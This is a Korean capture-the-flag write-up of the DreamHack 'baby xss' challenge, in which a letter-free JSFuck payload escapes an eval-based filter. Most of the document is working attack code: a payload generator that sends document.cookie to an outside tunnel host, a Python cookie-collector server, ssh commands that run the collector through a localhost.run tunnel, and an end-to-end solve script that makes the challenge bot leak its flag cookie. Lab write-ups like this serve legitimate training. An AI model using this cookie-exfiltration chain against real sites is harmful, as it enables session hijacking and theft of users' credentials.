[🥈 Silver 2] 영문자 한 글자 없이 봇의 쿠키를 가져온다 — DreamHack baby xss 풀이

const FLAG = process.env.FLAG ?? "DH{dummy}";
const cookies = [
  { name: 'flag', value: FLAG, domain: '127.0.0.1' },
];
const saved = new Map();
 
app.post("/report", (req, res) => {
  (async () => {
    const browser = await puppeteer.launch({
      executablePath: '/usr/bin/google-chrome',
      args: ["--no-sandbox"]
    });
    const page = await browser.newPage();
    await page.setCookie(...cookies);
 
    await page.goto(req.body.url);
    await delay(500);
 
    await browser.close();
  })();
  res.end('Reported!');
})

URL : http://127.0.0.1:3000/<input id="reportURL" type="text">

body: JSON.stringify({
  url: `http://127.0.0.1:3000/${reportBox.value}`,
}),

const recommend = (age) => {
  if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
    alert('nope! ⊂(・﹏・⊂)');
    window.history.back()
  }
 
  eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
 
  const img = document.createElement('img')
  img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';
 
  album.append(img);
}

curl -s "http://host3.dreamhack.games:15232/music?age=3"

msg.innerHTML='This is recommended album for ' + age + '-year-old.'

# ' 와 + 는 URL 인코딩해서 넣는다 (%27, %2B)
curl -s "http://host3.dreamhack.games:15232/music?age=%27%2B(1%2B1)%2B%27"

if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
  alert('nope! ⊂(・﹏・⊂)');
  window.history.back()
}

curl -s "http://host3.dreamhack.games:15232/music?age=%3Cscript%3Ealert(1)%3C%2Fscript%3E"

recommend
/[a-zA-Z\\&#;%*$=]/.test('<script>alert(1)</script>')
/[a-zA-Z\\&#;%*$=]/.test("'+(1+1)+'")

location.replace('//945e19869f7d2d.lhr.life/' + document.cookie)

#!/usr/bin/env node
// baby xss (DreamHack #993) — age 파라미터용 payload 생성기
//
// 취약점: /music, /saved 의 recommend() 가
//   eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`)
// 로 age 를 템플릿 문자열째 eval 에 넣는다. 필터는 /[a-zA-Z\\&#;%*$=]/ —
// 영문자 전체와 \ & # ; % * $ = 가 금지. JSFuck 의 알파벳은 []()!+ 뿐이라
// 교집합이 0 이다. 그래서 '+<JSFuck>+' 로 문자열만 탈출하면 임의 JS 가 돈다.
const { JSFuck } = require('./tools/node_modules/jsfuck');
 
const host = process.argv[2];
if (!host) {
  console.error('usage: node gen_payload.js <수집서버 host[:port]>');
  process.exit(1);
}
// 쿠키(flag)를 수집 서버 경로에 실어 보낸다. location.replace 를 쓰는 이유:
// = 가 필터에 걸리는 것과는 무관(JSFuck 안에서는 문자가 사라진다)하지만,
// 쿠키를 그대로 URL 에 붙이는 가장 짧고 확실한 전송 수단이다.
const code = `location.replace('//${host}/'+document.cookie)`;
const expr = JSFuck.encode(code, true);       // true = Function(code)() 로 실행까지
const payload = `'+${expr}+'`;                 // eval 안의 '...' 문자열을 탈출
 
const alphabet = [...new Set(payload)].sort().join('');
console.error(`[gen] code     : ${code}`);
console.error(`[gen] payload  : ${payload.length} bytes`);
console.error(`[gen] alphabet : ${alphabet}`);
console.error(`[gen] 필터통과  : ${/[a-zA-Z\\&#;%*$=]/.test(payload) ? 'NO' : 'YES'}`);
process.stdout.write(payload);

node gen_payload.js 945e19869f7d2d.lhr.life > payload.txt && cut -c1-200 payload.txt && wc -c payload.txt

curl -s -o /dev/null -w "http_code=%{http_code}\n" --get --data-urlencode "age@payload.txt" "http://127.0.0.1:13993/music"
curl -s -o /dev/null -w "http_code=%{http_code}\n" "http://127.0.0.1:13993/music?age=3"

app.post("/save", (req, res) => {
  const id = crypto.randomBytes(20).toString('hex');
  saved.set(id, req.body.age);
  res.send(`saved! Remember your id: ${id}`);
})
 
app.post("/saved", (req, res) => {
  const age = saved.get(req.body.id);
  res.send(age ? age : 'false');
})

#!/usr/bin/env python3
"""baby xss — 피싱 아니고 쿠키 수집기. XSS 가 돌면 봇 브라우저가
location.replace('//<이 서버>/'+document.cookie) 로 여기 찍고 간다.
요청 경로를 그대로 로그에 쓰고, DH{...} 가 보이면 FLAG 로 표시한다."""
import re
import sys
import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
 
LOG = sys.argv[2] if len(sys.argv) > 2 else "collector.log"
FLAG_RE = re.compile(r"DH\{[^}]*\}")
 
 
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        raw = urllib.parse.unquote(self.path)
        line = f"HIT {self.client_address[0]} {raw}"
        print(line, flush=True)
        with open(LOG, "a") as fp:
            fp.write(line + "\n")
        m = FLAG_RE.search(raw)
        if m:
            print(f"FLAG {m.group(0)}", flush=True)
            with open(LOG, "a") as fp:
                fp.write(f"FLAG {m.group(0)}\n")
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok\n")
 
    def log_message(self, *a):
        pass
 
 
if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8899
    print(f"[collector] 0.0.0.0:{port} -> {LOG}", flush=True)
    HTTPServer(("0.0.0.0", port), Handler).serve_forever()

scp collector.py kali:~/atk_babyxss/collector.py
ssh kali 'cd ~/atk_babyxss && setsid nohup python3 collector.py 8899 ~/atk_babyxss/collector.log > server.out 2>&1 < /dev/null & disown'
ssh kali 'cd ~/atk_babyxss && setsid nohup ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=30 -R 80:localhost:8899 nokey@localhost.run > lhr.log 2>&1 < /dev/null & disown'
ssh kali 'grep -aoE "https://[a-z0-9-]+\.lhr\.life" ~/atk_babyxss/lhr.log'

./reproduce.sh

# solve.py 가 찍어 준 id 를 그대로 주소창에 넣는다
http://host3.dreamhack.games:15232/saved?id=f311c2b957dd97cb6adecd1ea26bc1ca5a7d3299

#!/usr/bin/env python3
"""baby xss (DreamHack #993, Silver 2 web) — 전체 공격 체인.
 
  1) node gen_payload.js <수집서버> 로 JSFuck payload 를 만든다
     (영문자·= 없이 location.replace('//host/'+document.cookie) 를 실행)
  2) POST /save  {"age": payload}         -> 랜덤 40자 hex id
     ★ payload 가 24KB 라 ?age= 로는 node maxHeaderSize(16KB) 를 넘긴다.
       /save + /saved?id= 통로를 써야 들어간다.
  3) POST /report {"url": "http://127.0.0.1:3000/saved?id=<id>"}
     -> puppeteer 가 flag 쿠키를 심고 그 URL 을 방문 -> eval -> 수집서버로 전송
"""
import json
import subprocess
import sys
import time
import urllib.request
 
HERE = "/home/jinho/Dev/Hacking_Project/워게임/2_Silver_2/baby-xss"
 
 
def post(base, path, obj):
    req = urllib.request.Request(
        base.rstrip("/") + path,
        data=json.dumps(obj).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=30) as r:
        return r.read().decode()
 
 
def main():
    if len(sys.argv) < 3:
        print("usage: solve.py <챌린지 base URL> <수집서버 host[:port]>")
        return 1
    base, collector = sys.argv[1], sys.argv[2]
 
    payload = subprocess.run(
        ["node", f"{HERE}/gen_payload.js", collector],
        capture_output=True, text=True, check=True,
    ).stdout
    print(f"[1] payload {len(payload)} bytes (알파벳 !'()+[] 만)")
 
    body = post(base, "/save", {"age": payload})
    print(f"[2] /save -> {body}")
    sid = body.strip().split()[-1]
 
    url = f"http://127.0.0.1:3000/saved?id={sid}"
    print(f"[3] /report url={url}")
    print(f"    -> {post(base, '/report', {'url': url})}")
    time.sleep(3)
    print("[4] 수집서버 로그를 확인한다 (collector.log)")
    return 0
 
 
if __name__ == "__main__":
    sys.exit(main())

python3 solve.py http://host3.dreamhack.games:15232 945e19869f7d2d.lhr.life

ssh kali "tail -n 6 ~/atk_babyxss/collector.log"

DH{xss_can_occur_without_alphabet!!}